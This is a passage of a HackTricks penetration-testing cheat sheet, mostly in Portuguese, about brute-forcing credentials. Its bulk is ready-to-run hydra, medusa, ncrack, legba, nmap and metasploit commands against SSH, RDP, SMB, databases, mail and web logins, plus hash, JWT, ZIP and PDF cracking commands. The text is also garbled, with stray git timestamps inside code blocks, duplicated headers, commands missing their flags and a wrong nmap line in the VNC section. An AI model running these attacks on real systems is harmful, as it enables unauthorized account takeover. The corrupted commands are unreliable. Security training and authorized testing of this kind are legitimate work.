hacktricks/generic-methodologies-and-resources/brute-force.md

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# Brute Force - CheatSheet
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<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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<details>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
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</details>
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## Credenciais Padrão
**Pesquise no Google** por credenciais padrão da tecnologia que está sendo usada, ou **experimente estes links**:
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* [**https://github.com/ihebski/DefaultCreds-cheat-sheet**](https://github.com/ihebski/DefaultCreds-cheat-sheet)
* [**http://www.phenoelit.org/dpl/dpl.html**](http://www.phenoelit.org/dpl/dpl.html)
* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
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* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
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* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)
## **Crie seus próprios Dicionários**
Encontre o máximo de informações sobre o alvo que puder e gere um dicionário personalizado. Ferramentas que podem ajudar:
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### Crunch
```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)
@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
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### Cewl
Cewl is a tool used to generate custom wordlists by crawling a target's website and extracting unique words. It can be used to create wordlists for brute-forcing passwords based on the target's specific interests or content.
```bash
cewl example.com -m 5 -w words.txt
```
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### [CUPP](https://github.com/Mebus/cupp)
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Gerar senhas com base no seu conhecimento sobre a vítima (nomes, datas...)
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```
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python3 cupp.py -h
```
### [Wister](https://github.com/cycurity/wister)
Uma ferramenta geradora de listas de palavras, que permite fornecer um conjunto de palavras, dando-lhe a possibilidade de criar várias variações a partir das palavras fornecidas, criando uma lista de palavras única e ideal para usar em relação a um alvo específico.
```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst
__ _______ _____ _______ ______ _____
\ \ / /_ _|/ ____|__ __| ____| __ \
\ \ /\ / / | | | (___ | | | |__ | |__) |
\ \/ \/ / | | \___ \ | | | __| | _ /
\ /\ / _| |_ ____) | | | | |____| | \ \
\/ \/ |_____|_____/ |_| |______|_| \_\
Version 1.0.3 Cycurity
Generating wordlist...
[########################################] 100%
Generated 67885 lines.
Finished in 0.920s.
```
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### [pydictor](https://github.com/LandGrey/pydictor)
### Listas de Palavras
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* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries)
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* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
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## Serviços
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Ordenados alfabeticamente pelo nome do serviço.
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### AFP
```bash
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
```
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### AJP
AJP (Apache JServ Protocol) is a binary protocol that can be used to proxy requests from a web server to a Java application server. It is similar to HTTP/1.1 and is commonly used with the Apache Tomcat application server. AJP is often targeted during attacks due to its complexity and potential vulnerabilities.
```bash
nmap --script ajp-brute -p 8009 <IP>
```
## AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)
```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```
### Cassandra
Cassandra é um banco de dados distribuído altamente escalável que permite armazenar e gerenciar grandes quantidades de dados em vários servidores sem um único ponto de falha.
```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```
### CouchDB
CouchDB é um banco de dados NoSQL que pode ser alvo de ataques de força bruta.
```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```
### Registro do Docker
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```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
2020-07-17 23:59:16 +00:00
```
### Elasticsearch
Elasticsearch is a distributed, RESTful search and analytics engine capable of solving a growing number of use cases. It provides a distributed, multitenant-capable full-text search engine with an HTTP web interface and schema-free JSON documents.
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```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```
### FTP
---
Brute forcing FTP credentials is a common technique used during penetration testing to gain unauthorized access to FTP servers. This involves systematically trying all possible username and password combinations until the correct one is found.
#### Tools
- Hydra
- Medusa
#### Methodology
1. Identify the FTP server.
2. Use a tool like Hydra or Medusa to brute force the FTP credentials.
3. Specify the target FTP server, port, and a wordlist containing possible usernames and passwords.
4. Start the brute force attack and wait for the tool to find the correct credentials.
5. Once the correct credentials are found, use them to gain access to the FTP server.
#### Resources
- [Hydra GitHub Repository](https://github.com/vanhauser-thc/thc-hydra)
- [Medusa GitHub Repository](https://github.com/jmk-foofus/medusa)
By following this methodology and using the right tools, you can effectively perform a brute force attack on FTP servers.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
```
### Brute Force Genérico HTTP
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#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md)
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### Autenticação Básica HTTP
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
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# Use https-get mode for https
medusa -h <IP> -u <username> -P <passwords.txt> -M http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
```
### HTTP - NTLM
```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Post Form
#### Brute Force
Brute force attacks are a common method used to gain unauthorized access to a system by trying all possible combinations of usernames and passwords until the correct one is found. This technique can be very effective but also time-consuming, especially if strong passwords are in use.
#### Prevention
To prevent brute force attacks, it is recommended to implement measures such as account lockouts after a certain number of failed login attempts, using CAPTCHA to differentiate between human users and automated scripts, and enforcing strong password policies. Additionally, implementing multi-factor authentication can add an extra layer of security to protect against brute force attacks.
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
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# Use https-post-form mode for https
```
Para http**s** você tem que mudar de "http-post-form" para "**https-post-form"**
### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle
```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```
### IMAP
#### Brute Force
Brute force attacks against IMAP are typically carried out using tools such as Hydra or Nmap. These tools allow an attacker to systematically check a list of passwords against a targeted IMAP server until the correct one is found. It is important to note that brute force attacks can be time-consuming and resource-intensive, especially if the targeted server has implemented rate limiting or account lockout mechanisms.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993
```
### IRC
#### Brute Force
O Brute Force é uma técnica comum usada para quebrar senhas em sistemas IRC. Existem várias ferramentas disponíveis para automatizar esse processo, como o Hydra e o Brutus. Essas ferramentas tentam várias combinações de senhas em uma tentativa de encontrar a correta e obter acesso não autorizado a canais IRC ou contas de usuário. É importante usar senhas fortes e implementar medidas de segurança adicionais para proteger contra ataques de força bruta.
```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```
### ISCSI
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### ISCSI
```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```
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### JWT
JSON Web Tokens (JWT) são um método compacto, autocontido e seguro para transmitir informações entre duas partes como um objeto JSON. Essas informações podem ser verificadas e confiáveis porque são assinadas digitalmente. Os JWTs podem ser assinados usando um segredo (com o algoritmo HMAC) ou um par de chaves pública/privada usando RSA ou ECDSA.
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```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt
#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt
#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256
#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>
#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8
#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt
#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```
### LDAP
```bash
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```
### MQTT
#### Brute Force
Brute force attacks against MQTT brokers involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This is typically achieved using automated tools that can rapidly iterate through different combinations until the correct one is found.
#### Protection
To protect against brute force attacks on MQTT brokers, it is recommended to:
1. Implement strong password policies, including the use of complex and unique passwords.
2. Enable account lockout mechanisms after a certain number of failed login attempts.
3. Monitor MQTT broker logs for any suspicious login activities.
4. Consider implementing multi-factor authentication for an added layer of security.
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```
ncrack mqtt://127.0.0.1 --user test P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
2022-02-19 19:42:58 +00:00
```
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### Mongo
```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```
### MSSQL
#### Brute Force
Brute force attacks against MSSQL servers can be performed using tools like Hydra or Ncrack. These tools allow you to systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to note that brute force attacks can be time-consuming and may trigger account lockouts or alarms on the target system. It is recommended to use this technique responsibly and with proper authorization.
```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```
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### MySQL
MySQL is a popular open-source relational database management system.
MySQL é um popular sistema de gerenciamento de banco de dados relacional de código aberto.
```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql
# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false
# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql
#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
```
### OracleSQL
#### Brute Force
Brute force attacks are a common method used to gain unauthorized access to Oracle databases. Attackers use automated tools to systematically try all possible combinations of usernames and passwords until the correct one is found. This method can be time-consuming but is often successful if weak credentials are used.
To protect against brute force attacks, it is essential to use strong, complex passwords and implement account lockout policies. Additionally, monitoring and logging failed login attempts can help detect and respond to brute force attacks in a timely manner.
```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017
./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt
#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>
#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>
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#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>
legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```
Para usar **oracle\_login** com **patator**, você precisa **instalar**:
```bash
pip3 install cx_Oracle --upgrade
```
[Força bruta de hash OracleSQL offline](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versões 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** e **11.2.0.3**):
```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```
### POP
POP (Post Office Protocol) é um protocolo de e-mail usado para recuperar e-mails de um servidor de e-mail.
```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V
# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110
# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
```
### PostgreSQL
PostgreSQL é um sistema de gerenciamento de banco de dados relacional de código aberto amplamente utilizado. É possível realizar ataques de força bruta contra servidores PostgreSQL para tentar adivinhar credenciais de login válidas. Isso pode ser feito usando ferramentas como Hydra ou Metasploit.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M postgres
ncrack v U /root/Desktop/user.txt P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
```
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### PPTP
Você pode baixar o pacote `.deb` para instalar em [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/)
```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter u <Username> <IP>
```
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### RDP
```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```
### Redis
```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
2021-08-27 00:14:28 +00:00
hydra P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```
2022-05-01 13:25:53 +00:00
### Rexec
Rexec é um serviço que permite a execução remota de comandos em um sistema. Pode ser alvo de ataques de força bruta para tentar adivinhar credenciais de acesso.
```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```
### Rlogin
Rlogin é um protocolo de rede que permite a um usuário fazer login em um sistema remoto. É vulnerável a ataques de força bruta devido à falta de mecanismos de segurança robustos. Durante um ataque de força bruta no Rlogin, um hacker tentará várias combinações de nomes de usuário e senhas para obter acesso não autorizado ao sistema remoto. É altamente recomendável desativar o Rlogin e usar métodos de autenticação mais seguros, como SSH.
```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```
2022-05-01 13:25:53 +00:00
### Rsh
O Rsh (Remote Shell) é um serviço que permite a execução de comandos em um sistema remoto. Pode ser explorado para realizar ataques de força bruta, tentando adivinhar senhas de usuários.
```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```
[http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind)
2022-05-01 13:25:53 +00:00
### Rsync
```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
```
### RTSP
2022-05-01 13:25:53 +00:00
### RTSP
```bash
hydra -l root -P passwords.txt <IP> rtsp
```
### SFTP
```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
### SNMP
```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```
2022-05-01 13:25:53 +00:00
### SMB
### SMB
```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
```
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### SMTP
### SMTP
```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
```
### SOCKS
SOCKS stands for **Socket Secure**. It is an Internet protocol that routes network packets between a client and a server through a proxy server. SOCKS operates at Layer 5 of the OSI model, providing a framework for client-server communication. It can be used for various purposes, including bypassing firewalls, accessing restricted content, and enhancing privacy and security.
```bash
nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```
2022-05-01 13:25:53 +00:00
### SQL Server
#### Brute Force
Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found. Brute force attacks can be time-consuming but are often successful if weak or common credentials are used. It is essential to use strong, unique passwords and implement other security measures to protect against brute force attacks.
```bash
#Use the NetBIOS name of the machine as domain
2020-09-20 22:23:18 +00:00
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> U /root/Desktop/user.txt P /root/Desktop/pass.txt M mssql
2022-09-12 15:29:22 +00:00
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```
### SSH
### SSH
```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```
#### Chaves SSH fracas / Debian PRNG previsível
Alguns sistemas possuem falhas conhecidas na semente aleatória usada para gerar material criptográfico. Isso pode resultar em um espaço de chaves dramaticamente reduzido que pode ser quebrado por ferramentas como [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Conjuntos de chaves fracas pré-geradas também estão disponíveis, como [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ e OpenMQ)
O protocolo de texto STOMP é um protocolo de mensagens amplamente utilizado que **permite comunicação e interação perfeitas com serviços populares de filas de mensagens** como RabbitMQ, ActiveMQ, HornetQ e OpenMQ. Ele fornece uma abordagem padronizada e eficiente para trocar mensagens e realizar várias operações de mensagens.
```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```
### Telnet
Telnet é um protocolo de rede que permite a comunicação bidirecional interativa entre dois dispositivos. É comumente usado para acessar remotamente servidores, roteadores e outros dispositivos de rede para fins de gerenciamento.
```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet
legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```
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### VNC
Virtual Network Computing (VNC) é um sistema que permite controlar remotamente outro computador. O ataque de força bruta contra o VNC envolve tentar adivinhar as credenciais de login do VNC, como nome de usuário e senha, através da tentativa de várias combinações possíveis. Esse método pode ser automatizado com ferramentas como Hydra ou Medusa. É importante usar senhas fortes e medidas de segurança adicionais, como a autenticação de dois fatores, para proteger contra ataques de força bruta.
```bash
hydra -L /root/Desktop/user.txt P /root/Desktop/pass.txt -s <PORT> <IP> vnc
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medusa -h <IP> u root -P /root/Desktop/pass.txt M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
2022-10-02 23:08:05 +00:00
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt t 1 x retry:fgep!='Authentication failure' --max-retries 0 x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba vnc --target localhost:5901 --password data/passwords.txt
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#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```
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### Winrm
2020-09-20 21:41:33 +00:00
```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** facilmente, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-05-01 13:25:53 +00:00
## Local
### Bancos de dados de quebra online
* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 com/sem ESS/SSP e com qualquer valor de desafio)
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* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, capturas WPA2 e arquivos MSOffice, ZIP, PDF...)
2021-11-24 15:00:38 +00:00
* [https://crackstation.net/](https://crackstation.net) (Hashes)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
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* [https://gpuhash.me/](https://gpuhash.me) (Hashes e hashes de arquivos)
2021-11-24 15:00:38 +00:00
* [https://hashes.org/search.php](https://hashes.org/search.php) (Hashes)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
* [https://hashkiller.co.uk/Cracker](https://hashkiller.co.uk/Cracker) (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)
Verifique isso antes de tentar fazer força bruta em um Hash.
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### ZIP
```bash
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```
```bash
zip2john file.zip > zip.john
john zip.john
```
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```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Ataque de força bruta de texto simples conhecido
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Você precisa saber o **texto simples** (ou parte do texto simples) **de um arquivo contido dentro** do zip criptografado. Você pode verificar **os nomes de arquivos e o tamanho dos arquivos contidos dentro** de um zip criptografado executando: **`7z l encrypted.zip`**\
Baixe o [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) na página de lançamentos.
2022-06-08 21:20:05 +00:00
```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file
./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
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# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
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# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
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unzip unlocked.zip #User new_pwd as password
```
### 7z
### Brute Force Attack
Um ataque de força bruta é uma técnica de hacking que envolve tentar todas as combinações possíveis de senhas até encontrar a correta. Este método é comumente usado para quebrar senhas fracas ou desconhecidas.
```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```
```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```
### PDF
#### Brute Force
##### Description
Brute force attacks consist of systematically checking all possible keys or passwords until the correct one is found. This method is usually used when the password is unknown and there is no other way to obtain it. Brute force attacks can be time-consuming but are often effective.
##### Tools
- Hydra
- Medusa
- Ncrack
##### Prevention
To prevent brute force attacks, it is recommended to:
- Implement account lockout policies
- Use complex and unique passwords
- Limit the number of login attempts
- Implement multi-factor authentication
```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
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#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### Senha do Proprietário do PDF
Para quebrar a senha do proprietário de um PDF, verifique isso: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
2022-06-27 08:23:29 +00:00
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### JWT
```bash
